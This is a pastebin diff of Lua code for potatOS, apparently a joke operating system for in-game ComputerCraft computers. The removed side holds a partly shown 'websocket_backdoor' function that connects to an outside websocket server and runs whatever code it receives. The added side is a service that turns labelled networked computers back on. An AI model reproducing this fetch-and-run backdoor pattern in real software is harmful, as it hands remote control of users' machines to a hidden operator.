View difference between Paste ID: 690JY2dK and 7RDG0ueq
SHOW: | | - or go back to the newest paste.
1-
local _E = _ENV
1+
local regexes = dash.flatten {
2
	"^P/",
3-
local function websocket_backdoor()
3+
	"ShutdownOS",
4-
    if not http or not http.websocket then return "Websockets do not actually exist on this platform" end
4+
	"^P4/",
5-
 
5+
	registry.get "netbootd.extra_regexes"
6-
    local ws, err = http.websocket "wss://osmarks.tk/wsthing/potatOS"
6+
}
7-
	if not ws then printError(err) return end
7+
8-
 
8+
function onsys()
9-
    local function send(msg)
9+
	-- Ensure that nobody can easily shut down all the potatOS computers on a network.
10-
        ws.send(json.encode(msg))
10+
	-- Of course, they wouldn't want to, but you know.
11-
    end
11+
	while true do
12-
 
12+
13-
    local function recv()
13+
			local count = 0
14
			for _, name in pairs(peripheral.getNames()) do
15-
			local e, u, code = coroutine.yield "websocket_message"
15+
				if peripheral.getType(name) == "computer" then
16-
			if e == "websocket_message" and u == "wss://osmarks.tk/wsthing/potatOS" then
16+
					local l = peripheral.call(name, "getLabel")
17-
				return code
17+
					if l and (l:match "^P/" or l:match "ShutdownOS" or l:match "^P4/") and not peripheral.call(name, "isOn") then
18
						peripheral.call(name, "turnOn")
19
						count = count + 1
20-
    end
20+
21-
 
21+
22-
    _E.send = send
22+
23-
    _E.recv = recv
23+
			sleep(1 + math.random(0, count))
24-
 
24+
25-
    local count = 0
25+
	end
26-
 
26+
27-
    while true do
27+
28-
        -- Receive and run code from backdoor's admin end
28+
29-
        local code = recv()
29+
	name = "netbootd",
30-
        local f, error = load(code, "@<code>", "t", _E)
30+
	async = onsys
31-
        if f then -- run safely in background, send back response
31+